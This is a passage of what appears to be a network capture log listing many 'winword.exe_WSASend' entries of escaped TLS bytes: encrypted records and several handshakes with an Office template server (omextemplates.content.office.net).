\\xc56\\xb6f\\x93^ed@\\x905'4\\xbf\\xf5\\xa1q?q9\\xc8ztt\\x14*(\\xc6\\xc2\\xc3'\\x87o=\\xa3\\x0f\\x9a\\xf6yl\\xbct\\xcb\\xcc\\xebu\r.x\\xba\\xa5\\x14\\x047\\xa6\\xfb\\x1b:n\\x14a\\xceb@\\x0b\\x9c8\\x12\\x8b\\xcf&\\x96\\xb6f\\xa0\\x15p\\xf3+\\xdf\\xad\\xc0\\x02?\\xaa\\xb0o\\x9d\\xffbk\\xea\\x9e+\\xc0\\xab\\xf8$\\xe3\\x84"
  573.  
  574.  
  575. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x10\\x99a\\x84\\x0ew\\xa3\\xe7\\x95\\x05\\x05$5\\x9dc\\xf1\\xec\\xc2s\\xc1\\xb7w\\xcc\\x80\\xb1m\n\\x86x\\x18\\xae\\xd7\\xf6n\\xb0s\\xe2\\x01\\x10z\\xc5\\x12\\x07qtb<>\\x17\\xf1\\x94+\\xadj\\x1fj;\\xfe@\\xe9\\xb6g\\xb5k\\x8c\\xd4\\x0eme\\xaa\\xe2\\xd6\\xee\\xc6\\xfe&\\xd3\\x0c\\xa5@7\\xb52\\\\xdbo>,\\x0e\\xeaw\\x90si\\xc9\\xe3wi\t\\x8f.=\\x9d\\xba\\x17q\tc\\xcf\\x93\\xdf\\xe5\t\\xca\\x8f\\xb8\\xb4\\xe4\\xc5j\\x91\\x81\\xd9n\\xc1\\xdcny9\\xae\\x90\\x0c9\\x94v\\x8f\n\\x84\\x01\\x99\\xb2^\\xeag\\xb9r\\xfd\\x12<\\x9fd\\xdd~\\xa2\\xf6\\xd7h\\x94`9\\xc1bleyg\\x02~z\\x16x\\xf1\\xb2n\\x87 %\\x9b7\\x14\\xe0\\x876\\xc7\\x04tli\\xb3\\xcb\\xef\\x1c1\\x96\\xca.\\x03dg\\x8a\\xa4\\xef.\\xda\\x996\\xa4\\xb7\\xe0%\\xc3\\xe8\\x16#:\\x19\\x8d?b\t\\x1fq\r*\\x0e=&\\x94r\\xa0c\\xcb\\x10\\xb4\\xda\\xdb#\\xb9\\x0b\\xd1\\xb7\\xa1eb*\\x80\\xd9\\x8c"
  576.  
  577.  
  578. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010^u`\\xcd \\xb6\\xcbu\\xadv\\x11\\xfc*\\x84\\xc5+\\xa7\\x93\\x9d\\xec\\x8b(\\xb0\\xbd\\xc3\\xe7\\xda\\xb3k4go\\xbcy\\xf0\\x80\\xday\\x98\\\\xd6\\x1a\\xdd\\x07\\xa4%j\\xa7l\\xab\\x1e\\xb8g\\x0b\\xd4\\xa3\\x80)3_jg\\xd1\\x18\\x983+\\x1b\\x9edt\\xbd\\x00\\x82\\xa8\\x9da\\x0c5\\xb8qxc\\xf3\\xb2r?\\x83s\\x19e\r\\x16gcz\\x14\\x85.@\\x01\\x05\\xb2\\xc7\\x9e\\x98ce\\x0e^\\x81\\x04\\xd0\\x8a:\\x9e\\x865j\\x10-\\xbc\\x8dz\\xc63h\\xcfo\\xeb\\x933\\xd1$\\x15r\\xcb\\xa6ij\\x92\\x19r\\xec\\x9c\\x96x\\xecl3\\xe7q\\xdb\\xb4,r\\xf8e\\x98g\\x9a\\xb2\\x1a\\xc7\\xffgym\\xcaa\\x8d\\x7f\\x13\\xd8\\x15\\xe3\\x97dm\\xc37\\x0f\\x03\\x80\\xa3\\x0cr\\xde\t\\xbes\\xc8f\\xd5\\x115\\xfc\\x19\\xc8\t\\xact\\x88\\x7fl\\xa6\\x90i\\xe2\\xd3~t\\x9c!\\xf3p\\xaa\\x8e\\x83(\\\\x06n\\x92\\xfetl\\xc7\\xa5e<\\x8bh'\\xc5\\x90\\x1ac\\x1c7\\xfah\\x0eiyf\\x86 "
  579.  
  580.  
  581. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xafv\\xa8\\xae\\x9c\\x9b\\xa0\\xed\\xd1m\\xfa\\x19\\x11\\xf1\\xe6\\xa6%\\xcd\\x9d\\xea\\xedi\\x8f\\xb3\\xfd\\xdf\\xb7\\x0bz\\xf6i\\xf1\\x8dooypu(\\xb3\\x90j\\xc9s\\xa5s@\\x92tg\\x7fom\\xab\\xfb\\xec\\xb9\\x9c\\xdb$\\xe6w\\x8c\\xed\\x18f\\xfcznz\\xb6>-\\xdd\\xe1?v-\\xa6\\xbf\\x18l\\xfe\\x0c\\x8fm\\xc4\\xc8\\xda\\xc0\\x94\\x82\\xe0.c:\\xba\\x15\\x94$qfza\\x9dw$\\xa2k\\x8c\\xf4\\x0c\\xd5\\xd6\\xbc\t\\\\xb4\\x9f;\\x81,\\x0c\\xf0\\xa6v\\xaf\\xfb<\\xf4\\xda\\x19c\\x0fe\\xe8\\x1f\\xfa\\x91+u2v\\xf1(c\\xee/7s|\\x12\\xc4\\,d\\x9e\\xb6h\\x96\\x98\\xfd\\xe3dh\\xd4\\xda\\xf7\\x19r\\xd1\\xe3\\xc5\\x9f\\xcc\\xb04=1\\xe9\\xacqe\\xd4 \\x19\\xf9\\x97\\xb1&\\x9e\\xacn\\x94&\\xb6x\\xd5/\\xe9\\xb1\\xe2\\x9c\\x8br9\\xff\\x93x\\xc1i\\x98\\xd38o\\xberpb)\\x0bx\"\\xdb6t4\\xab\\xe5\\xfd\\xcf\\x10\\xc08\\x10\\xbe\\xa9x\\x98\\x1cs\\x8e\\x07\\x1a\\xd6\\xdc\\x05t?"
  582.  
  583.  
  584. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04a\\x9c\\xc3;\\x86p\\xb4\\xb4\\x8fb\\x1d\\xa8\\x8d\\xf5\\x93\\xed\\x92\\x1d\\xa9 6&\\xe7\\xd6\\x8d\\x15uv\\xa5lw,v\\xe8\\xca\\xed\\xa5q\\x18\\xf2dm\\x8cu\\x9d\\x9d\\x10f\\xa5;\\xc2\\xcc'^tf\\xeb\\xb3@\\x1e\\xe6j\\xdd\\xb4\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\xba\\x8d!c.\\x96\\x97\\xcb\\xddf\\xf9\\x16m\\xcb\\x90\\x9d~n\\xf9\\x1f\\x83\t1\\x1es\\x91\\x16\\xafz/\\x841p\\xd7\\x88\\xf0\t\\xa1\\xa8b\\xa4\t\\xc7qs\\x01"
  585.  
  586.  
  587. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xf6\\xd5\\xae\\x94f\\x90>\\xd4\\x04\\xa0^ap\\xb0p\\x16$\\x18\\xdc52u\\x9cn\\x0e\\x92-c\\xd9\\xc0\\xd2\\xd8\\x9bw\\xa31\\x91\\x18\\xe0\\x90syvo^\\x059y\\1\\x86\\xe1\\x0c-\\xf3+\\xb6bd1\\xa1\\xbc\n\\xf8q\\xbb\\x1fm2\\x196\\xfb\\xc9?1\\xefr\\xf8\\xf3\\x8f\\xe9\\x1a\\xb0\\x17th\\x962m\\xad+\t\\x00t\\xae\\xb2p-\\xaad\\xb7\\x82,fd\\xb72\\xd0\\xfb\\xa6\\x04\\xe4\\xfcn\\x0f\\xf9s\\xfa\\xc7/j\\xc3@\\x88\\xb8m\\xaah~\\x03\\x95\\xe0\\xb5c?yr\\xe9\\x94/5\\xe0q`\\x93\\x17\\xcc\\x95\\xa9\\x82go\\xd2\\x96k\\xdbi\\xf9\\xf1\\x89l\\xd8\\x0c\\xa7\\xf1b=\r\\x04\\xcc=\\x8c\\x98g1\\x80\\x05\\x80\\x86gk\\x03\\x0e_d\\xc5\\xe9\\xd2\\xda\\xccb\\x93\\x92\\x9ev\\xae\\xa0i1\\x03%\\xb3:\\xa3\\xcf<u\\x8b\\xf5\\x186\\x1f\\x94\\x18\\xda+#q\\xac\\xb8\\xaa\\xd7#\\x9d3\\xf3u\\x04\\xe8\\xe5\\xfb\\xe4\\xa6\\xe3\\x19\\xafyk\\x80\\xb3\\x11\\xf5*\\xf7p\\x15\\xeeu"
  588.  
  589.  
  590. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjf\\x06\\xf6\\x9e\\x95m\\xa9\\xaa\\xc3\\x08\\x14j\ns\\xcf\\xeb\\xba@\\xe0\\xdax\\xf2\\x949\\xe5\\x00#y\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  591.  
  592.  
  593. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjm\\xa0\\xec\\xae\\xc8\\x9a\\xc0|0-5\\xa5\\x1e,1:c\\x01\\x01\\x83\\x08\t\\xe0\\\\xe5\\x97%/\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  594.  
  595.  
  596. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjc\\x1a\\x94fu\\x12\\xd9`\\xac\\xc0'\\xba(\\x00\\xe4\\\\xa5\\x19l\\xe8\\xcfm\\x89\\xb8\\x18_\\x1a\\xfb\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  597.  
  598.  
  599. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x1b\\xb9\\xfe\\xba\\x18\\xbd\\xb5\\x19\\x8e\\xa6%b2\\x94q\\xb6\\xfe\\xb3\\xe8j6\\xf7\\x7f\\x82\\xca1\\x98(\\xc4a\\xa7\\x19\\xabc\\xb9#5\n\\x02\\x06\\x8a\\xdak\\xca\\xee\\xb6\\xbbmo^\\xae\t\\x17m\\xd9\\xd7\\x7f\\xe0\\x06\\xbe\rj\t\\x90<\\xa7r\\xbd\\xee\\xd9\\xae\\xd7o\\x8c\\xbf\\xcf\\xba;w\\xdfmyf\\x90\\xbds\\xaah\\x06\\xc5\\x8e\\x809\\x86\\xfb\\x8fe\\x00\\xd6\\xbep\\xf3o\\xef\\xf4\\x85d\\xf9\\xd4\\xd8\\x9b\\xc6\\x11\\xb5\\xe6i(g\\xffk?\\x08\\xe75\\x0e\\x92\\xca\\xfc\\xcc\\x93a\\xdc\\xd3\\x1b\\x96\\xebs)\\xe8\\xaby\\x88\\xd7\\xc70cka\\xf8\\x1c\\x1d\\x1f\\xd2\\x8a<tg1d\\xb7\\x97\\xaf\\xcad\\xa3\\xfa\\x14'k\\xf9\\xf2u\\x95f\\x9f@p\\xb3\\x19\\xda3)@g\\x11\\xf1_\\x03\\xdd\\xd08\\xb4.r\\xc6\\x8dq\\xc1\\xb3xe\\xb0\\x1bo\\xa44\n\\xe7\\xe0\\xd6\\x1a\\x16v~\\xe8\\x15t\\xb9\\xec,\\xd2`\\xa6\\x82s\\x1f\\x7fu\\x1d\\xae\\x131\\xc4\\xde1\\xdbv\\x0e\\xedb\\xa3\\x95\\xa8\\xdf"
  600.  
  601.  
  602. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x9f\\xa4sj\\x93\\x0c\\xf9_\\xf9#fy\\x1f\t\\xa2\\x1f\\xee\\xdd\\x90\\x08\\xa6/y\\x1ci\\xca\\xa2e\\x0ev\\xb6\\x80\\xefn\\xa1p\\x8ab\\x0e*\\xe5s<i\"\\x9bp\\xc2'\\xa0\ngb\\x00\\x16\\xb9\\xca\\xb6\\x13k\\xd8\\x101\\xfc:$\\xa9\\xad)\\x07\\xa8\\xe8\\xa2\\xa8i'3\\xaa\\xe3u)\\xae\\xd7\\xe9\\xd6d\\x1a\\xa3\\xf1\\xc2;'\\xb1\t\\xf1?\\xbe\\xc7py\\xb5\\x8d\te\\xedm\\x85%u\\xb6\\xee*\\x16\\xe1\\xe8\\xeb\\xf4\\xe0\\xee\\xdc\\x08 /\\xa5$h>\\x0f\\x1a\\x11\\xcc\\xd7\\x044.\\xaer\\xd1\n\\xca\\x9e\\x9ff~4\\xc1\\xb3\\xfc*\\xe6y\\x97\\x99b\\xc8\\x94\\xc09.\\xd2\\xd4\\xef\\xbfz\\xec16\\x1a\\x01\\xf4\\xe0\\x12\\xa0c'\\xe6\\xb9\\xaaq\\xfd%\\xb5\\xd7h\\xda<\\xbf\\x0ee \\xd5\\x9c\\x82\\x00\\xcb\\xad\\x85\\x0edy\\x84\\x02x02\\xec\\xc7\\xe1\\xb2\\xbfy\\x97\\x9a\\xe1w\\xbd\\xf7\\xfd\\xe6\\xc6w\\\\xa0+\\xaa6\\x01\\x86`\\x0b`\\xb5m\\xb0\\xeeg\\x90\\xd94\\x86<\\xa9\\x98d\\xce\\xea\\xff"
  603.  
  604.  
  605. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj?v\\xb2\\xf7\\xc8\\xab\\xf0(\\x7fh>j4\\xd7-\\x1f\\xd0\\xcee\\xd0\\xd6\\xc7\\xb9\\x0bv\\x8c=q\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  606.  
  607.  
  608. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x0bn\\x86@\\x93k\\xf7\\x93c\\xc8*\\x9e\\x81\\xc7\\xdbp.7\\xacs\\x1d\\x97\\xd9\\xc0md\\xdd\\x8bo\\xab\\x05\\x7fo\\xe5\\xfa\\x9fq\\x9d>q\\x7f\\xe0iahpv\\x8f\\xca#6q\\xb9\\x1f\\x1f\\xc4\\x86\\xd2\\x9dp\\xd8\\x11\\xca\\xe4\\xb0s\\x14|\\x1d\\xf3\\x9b\\xe7v\\xe7\\xa6./\\xa3\\xc9f6.\\xef'\\x90c\\x80p/\\xbe\\xb0\\xdcj\\x0c\\xab\\xbdt\n\\xc5\\xb3\\x0ci\\xb7\\xc1\\x86\\x85\\x1f\\x94\\x12j\\xe8\\x7f?\\xf0\\xa6\\x17\\x86m\\xcb\\x99j\\x03r\\xb2n\\xb4>\\xe2\\xd3w\\xe5\\x15\\xd9\\x85\\x81\\x91\\xe2\\x1c\\x1f\\xe9\\x12\\xce\\xad,\\xdet\\xacwt\\x83\\x80ffe\\x9f.\\x87\\x14\\x9bn\\x92\\xea0\t9\\x057\\xe4\\x15\\xa5x\\x8fi\\xbc\\xce\\x9c\\xa5(\\x1e\\xe2\\x88\\xe7%x\\x83\\x95a\nw8\\xa3\\x1b\\xb0\\xd1\\xeb-\\xbe'y\\xa0\\xdd+\\xf5c\\x9b\\xe9\\xcfa\\x8e\\xd5f\\x88\\xa3.\\x15\\xd0k\\xd7b\\xbdwp\\xcdu'\\xb8\\x8c.\\x95o\\xe6\\xee\\xaa5\\xb1d\\x8c\\x9b\\x81\\x1c\\x1c\\x93\\xe8\\xe9\\xf1j\\x1c"
  609.  
  610.  
  611. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010~\\xbfk>\\x81\\x12\\xd8\t\\xa5 @\\xc6\\x1b\\xd8\\xa1i\\xfc`*q8\\xfc-\\x935h^\\x08\\xb9\\xa5sr\\x1d\\x84\\xac\\xf0\\xec\\x95\\x16\\xa4n0\\xc5x\\xda\\x8c<xb\"\\xd0\\x9d@\\x051\\xeb\\x80\\x18\\x02ca\\x05\\xad\\xd3\\x91\n\\xcc\\x0b\\x08\\x9b7\\x03\\x89\\xb6x\\xeerq\\xd1\\xf0x\\x89\\x81\r\\xee\\x12\\x06& s\\xfd\\x1dip\\xeb\\xce'\\xcf\\x8e\\xca\\xbc\\x10\\xac\\x94\\xce\\x99vy\\xf7\\xbes\\x12u\\x12\\xeeum\\x9d_\\x835\\x06\\x9c\\xfd\\xb3\\x86\\xd5\\xf6\\x08\\x90x\\xf5\ney\\x86\\x1b\"erpo\\xc0\\x03\\xf2\\xee\\xb3\\xe9\\x83\\xb3\\xf1\\x04\\xcc\\xe7\\xf5\\xa1\\x98\\xbaa\\x8fa;\";\\x97\\x1a\\xdf\\xf3d\\x04n\\x9b7o\\xbc\\x93\\xa3v\\x122s\\xebu\\x9c\\xef\\xbfm\\xcd\\xf0\\xce\\xdb \\xeff\\x1f\\xdd\\x95n^m\\x15\\xc8\\x02r\\xbf\\x13\\xad\\xcd\\x88\\x01\\xa9\\x93\\xbc\\x0cz\\xf2\\xe0k\\x07\\xb4\\xb5\\xc3\\xf8g\\x93\\x1a\\xc1o \\xac\\xb7\\xe4n\\xf1\\xf5\\xf4\\xa6\\xb1\\xec\\xfa\\x04z\\x9fq\\x8e*\\xc3\\xb6\\x94"
  612.  
  613.  
  614. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x16\\xfc\\x85vw\\x8e\\xfa\\xf2\r>yo\\x8a\\x9e\\xee\\x0b\\x87*l\\x85\\x1a\\xdc\\x9b\\xec\\xd8h\\xbb\t\\x8b\t\\x9c/\\x89\\xfc\\xcd\\x85\\xec\\x06\\xbd\\xd5\\x06\\xee|6\\x8f\\xabt\\xa1@\\x86\\x84w|\\x87\\x9a\\x97\\x9e\\x90h\\xc7p\\xeeoo\\x16\\xe0n\\x01\\x95b\\xaa\\xf1\\xcf\\xf4g\\x9a\\x80ie\\xa3'cv\\xae\\x8e\\x93\\x87\\x11k\\x16-.\\xd9\\x1dw7\\xc3?|k\\xeeb\\xd47\\x81\\xdfs\\xb8\"mj\\xe1\\xc4r,mj\\xe8\\xc2^\\xde\\x04\\xc4\\x87\\xf8\\x99\\x01wt\\xe5\\xe2'\\xfe\\xdcw\\x07\\xcd\\xe4^\\xac\\xbd\\xe5\r\nd\\xf3k\\x18\\xfc\\x17md\\xdd\\x84\\x8c\\xad\\x02\\xda\\xc3\\xa0\\xfc+|\\x80t\\xcf\\x1f~9y\n\\xd0\\xac\\xff\\xc5j\\x1e\\xd3\\xb0\\x85\\x14\\xd1\\xc7\\x15\\xca#(h\\xb2\\xd8\\x9ffu\\xb4\\xbfci\\x94f\\xdb\\xf0\\xeb\\x07h\\xd3\\xd8\\x81\tn5\\xc6\\x8b\\xb9\\xffn\\xafq\\x00$mm\\x94z\\x1f$?b\\x10\\xd9\\x14\\xb3\\x1dj\\x96\\x11\\xae\\xbf\\x10\\x19\\xe7\\x14md\\xc4\r"
  615.  
  616.  
  617. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010iu\\xff\\xc9\\xe1\\xe8\\xd2\\x0c\\x83\r\\x98\\xc50j\\xe0\\xff:\\xae3\\x02\\x9b\\xba\\xa7urb\\x11\\x8d=\\x94c\\xbb\\xd5=d\\xe7\\x99\\xdcz\\\\xd9\\xa8\\xae\\xc9s\\xf5n\\xb6\\xd4\\xd2\\xe9\\xcb\\x13kjm\\xb3\\x1d\\xad\\x8c\\xa3zw0z\\x0f=\\xb0\\xcd\\x83\\x13m\n\\x9e\\x10\\x92\\xee?e\\xf6\\xe3\\x12&\\xb7\\x1e\\x0b\\xc3_\\xb1\\x1bx\\xe6\\xa5;s*\\xb4\\xcb\\xf5m/\\xce\\x80>\\xb8\\xe4_#\\xfaa2cze3\\xa0 8\\x92\\xb1\\xd4>@\\x85\\xa0>\\x87\\xf3p5\\xa4\\x1a\\xc2&\\x02\\xd13\\xb9\\xf9pr\\x15\\x99=i7\\x92\\x1c\\xe0\\xd7\\x86f\\xe8\\xe4\\xc9\\x95\\xb5\\x066c\\x7f&\\x8er\\x1e\\xba\\xdc\\xde2\\xd4uq=_\\x88\\xa8\r+\\xce\\x87r\\x05c\\x9ak\\xcf\\xd8=\\xc4-\\xa1i\\xeb\\xbc\\x18\\xe0\\x1a\\xd6fz\\x04\\xbd\\x0f\\x15z\\xdd\\xc9\\x11;`\\xcf\\xf0\\x8e:\\xd6\\xc8\t\\x18\\xda\\x1a\\xe95\\x16\\xa0\\x1b\\x1c\\xba\\xf7d\\x87\\xefq\\x1d\\xca\\xad-\\x99$\\xac\\xf7\\xd4\\x03\\x18\\xbf\\xaf\\xec"
  618.  
  619.  
  620. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010ow\\xfa\\x18\\xa0w\\x9fn\\xe4\\xc5\\x8f&czf\\x8cv\\xa6\\xa0>\\xa8\\xac'\\xa7lc\\x9d\\xd3\\xd9u\\xd86\\xf3\\xc4mp\\xab\\xe9\\xcdn\\xc0\\xcd;\\xbe\\xee\\xce`v\\xf5?g|\\x87d\\x0f\\x92\\x81\\xef\\xe1\\x9b\n%\\xe4\nn\\xaf\\xcf\\xc78\\x04\\xbf\\x12\\xdf\\x83\\xab\\x83\\xfa\\x84\\xd8\\x15\\xa7\\xb6wm\\x92\\xe5^(x\\x02\t\\xfc0\\x03\\xce\\xe6\\x08\\xfe8poc\\x11\\xb9\\x89\\xf0m\\x97\\xf9\\x9d=\\x97\\x15|\\xcf\\x1e\\x0c<\\x1f@oa\\xb9\\xa3\\xbe0f\\x0f\\xa5\\x8d\\xb9\\x9f\\xd3\\xe9s\\x04\\xb2\\xd3\\x96\\xccpwe=\\xfd\\x99\\x1f\\xb5\n\\x1d\\x11\\xf5\\x98\\xbboi1qhi\\xf6\\x86\\xdd\\xd4\\x80\\xc6\\xd0t\\xf56\\xb3\\xce\\xa2o\\xf8a\\xc7\\xd6\\xd3\\xb5\\xbb\\xf6\\xdf\\x08\\xc9\\xd8\\x1ad|\\xaf\\x88\\xfb\\x8c4w:\\xf2\\x01\\xb3\\xb9\\xe4\\xfb\\x08#\\x93\\x8b9\\xeb\\x1c\\xb1ta\\xfe>\\x80\\xdb\\xd0\\x89\\xf9f\\x97i\\x91\\xd5\\xa4^\\xe6\\x93%\\xfc\\xbe\\xba\\x14\\xc7fr7\\x1d\\xf9q9\\xeeg"
  621.  
  622.  
  623. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xc7\\xbewrd\\x978\\xc4^\\xf6\\x05e~>\"\\x0f\\xf3\\x8e1\\x86_\\xe5\\xa8\\x1d\\xe1\\x1fk\\xb5c\\x12\\xb8\\x89\\xf1#zu\\xa1\\x7f\\xe4\\xc2\\xb2\\\\xdf\\x82s\\x006--\\xdf1\\xbd\\xfd+\\xd3#r\\x87\\xac\\xb1\\xa1\\xd2=\\xc8!t\\x0b\\xf1\\xf6\\xc2*\\xd1\n\\x91\\xc0l\\x03\\x13\\x1f/\\xa3\\xd4\\x0c\\xaa\\xa39\\x92\\xed\\x8d\\xc7\\x89c\\xde\\x9f\\x80\\xd2\\xdb\\xa7\\x12\\x82\\xf35\\xe9\\xa0\\xeb\r>v\\xbd\\x9bc\\xea\\xdf\\xff\\xaf\\xa1\\xd9\\x0b\\x81\\xa8\\xc7c(\\xd9w\\xc0\\x91s|w\\xe71't\\xa7\\xc4f\\xa8\\x1c$\\x06\\x93\\x1d\\xd9\\x12,\\xff\\xdami\\xda\\x17\\x86\\xf7iy\\x19\\x17*\\xdf\\x97\\xb4\\xa3\\xcd\\xe5\\x8e\\xabl\\x08\\xec\\x01\\x9ci\\xfat\\xab\\x0f\\x8bk\\xc0z\\xfd\\xf0\\x9d\\xf3-|\\xc9\"1\\xdb\\x16d\\xe7\\x14\\x00t\\xe7\\xc5#\\xca\\xef\\x9a\\x10\\xc3^\\xae\\xf9\\x0b/8\\xbb^fy\\x07o\\x110\\xcd\\xbeev\\xaf>ga\\xbc@\\xcd\\xa3\\x07\\xf2\\xcc+\\xdf1\\x0b\\xe6b\\x10:\\xad\\x9f\\x01\\x8b\\x9e9\\xfb"
  624.  
  625.  
  626. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010? p\\x0f\\xe6\\x9a\\x0b\\xebv>\\x06\\xbb\\x13\\x0b\\x10\\x9f@\\x9e\\xb0\\x7f\\xbce\\x85n\n\\xa2a\\xce\\x88\\x81\\x15\\xe3\\xe2r\\xa5\\x8b\\x9cr\\xf6xi$\\xd7y\\x0f\\x1c\\xdf\\x14\\x10\n4v\\x98\\xaa\\x04\\xdb\\xaf&\\x05h\\xcd\\xd1\\\\xed\\x0c\\x8e\\xed\\xfb:\\x08)\\x07\\xa64\\x90\\x07gs%\\x88(\\xe1\\xdc\t(\\xf6k\\xcb=;1\\xf6w\\x19\\xd7\\xbe\\xfd\\xe2\\x9c\\x1d:\\x80\\xf9\\xbe\\x96,\\x04\\xd3\\xb1\r\\xa2\\x1e\\xa0d\\xb8\\xf0# \\xd1\\x072\\xff#e-\\xe9\\xd1\\xdf\\xc1h\\xfa\\x7f\\xd6ch\\xfe\\xdep\\xe2g'k\\xad\\xdd\\x8e*\\xb3\\x9b-\\x85njj\\xcd\\xdd\\xf9l&\\xfc\\xe1\n\\xcb\\x8a\\xea\\xfd\\x99_\\xcad\\x13\\x004o\\x9b\\xee/\\x1bn\\xb7\\xccnzj\\x9by\\x90%\\xf8\\xadb\\x0ci\\xe1\\xdf-\\x9d-\\x1e\\xde\\x02\\x14\\xd89\\x0e\\xebh8!\n\\x9e\\xe3e\\x84\\xc2\\x00:\\x15\\x93\\xa0\\xaer\\x03\\x8e\\x89\\xbcv\\x9f\\xdb\\x92\\xb20\\x15\\xbe\\xa6\\xb5w\\xacu\\x97\\xae\\x87\\x869\\x0c\\xc4\\xc4\\x16"
  627.  
  628.  
  629. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xaaw^\\xd9\\x8a\\xf9v\\xe7\\xa7ea\\x178\\xa0shk\\xfc\\xf9\\xc1\\x07\\xb9x\\x07'\\x8f8\\xf8%\\xde\\xf5\\x07\\xaf\\xfb\\x86\\x92\\xd4\\xaa\\x17/y8g\\x00\\xa5\\xf1\\x98e\\x88\\xc3t\\x8b\\x8f\\x12\\xcf.\\xfa\\xc8\\xa3\\xfd\\xe5l#*\\x8a-\\x96\\xfc%i||\\xdb1\\xfc)\\x04\\xde\\xc9\\x8f\\xe3\\xbc\\x02\\x81\\xd2|\\x84=\\x86\\x0c\\xb9mh%\\x0f-\\x8e\\x85\\x8a\\xcbe\\x15\\x1b\\xfc\\xce\\xd6\\xbc\\x8a\\xc7\\x0ff\\xe7fv\\xef\\xc7\\x99;\t9s\\xacy\\xed\n2\\x94q~\\xad\\xaas\\xa5o@\\xb8k\\xd5\\x8a\\xa5\\xce\\xb2,)\\xff/\\xc9r\\xcfe\\xbd7\\x84\\xce\\x8d?\\x1141k\\xb9\\xc6u+\\x1d\\xa0\\xb2\\x1f\\xb6#\\xb9b\\xcf\\x8d\\xc2b\\x01t\\x9c\\xd7\\xcc\\x82\\xe3\\?\\xb8bt\\xe0s\\xaf\\xaek~!\\x1f\\xda&\\x08\\x87\\xd6\n\\x16\\xaf\\x95\\xf3\\xd2\\x83\\xc3oo\\xa4\\xc0 |\\x1d\\xd9\\xa8\\xba9\\x84\\x87\\x05\\x05\"\\xeb\\x0f)p\\x89u\\x84\"2\\xf5\\xa0\\xe9\\x86se\\x91\\x8b\\xbd\\x9cvd\\xf5\\xecz\\x7f"
  630.  
  631.  
  632. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xef\\x883\\xafft\\xb4\\xb8w\\xc9\"\\xb8\\x15\\xc7\\x93gvt\\x8d%\\xa7?\\x04!pr\\xd86e\\x9e\\xa9\\xdf\\xd2\\xb9\\xca\\xeb11b\\x1fv\\xe6\\x16\\xc4\\x10\\xd6\"^\\x0f\\xf1\\xa7\\x92\\x97\\x9ef\\xd1\\xf4\\x11\\x17s\\xd8\\x9f\\xddkv\\x85\\x14ir\\xd1\\x98\\xa2j\\x01|8i\\xb5\\xed\\x8aa\\xaf\\x1ch\\x9a\\x9d\\xbd\\xc6xt;\\xfd\\x91\\x90qk`\\x91\\x8c\\xa8p\\x03nv\\x08\\xa4b\\xf3ea\\xd4.\\xab\\xfdlj4vj\\x1d \\xef\\xd8\\xdbd`.t\\xf9\\x84ft\\x0e\\xf8=6\\xdc\\xdb\\xb4\\xabre\\\\x94\\x8d\\x83% 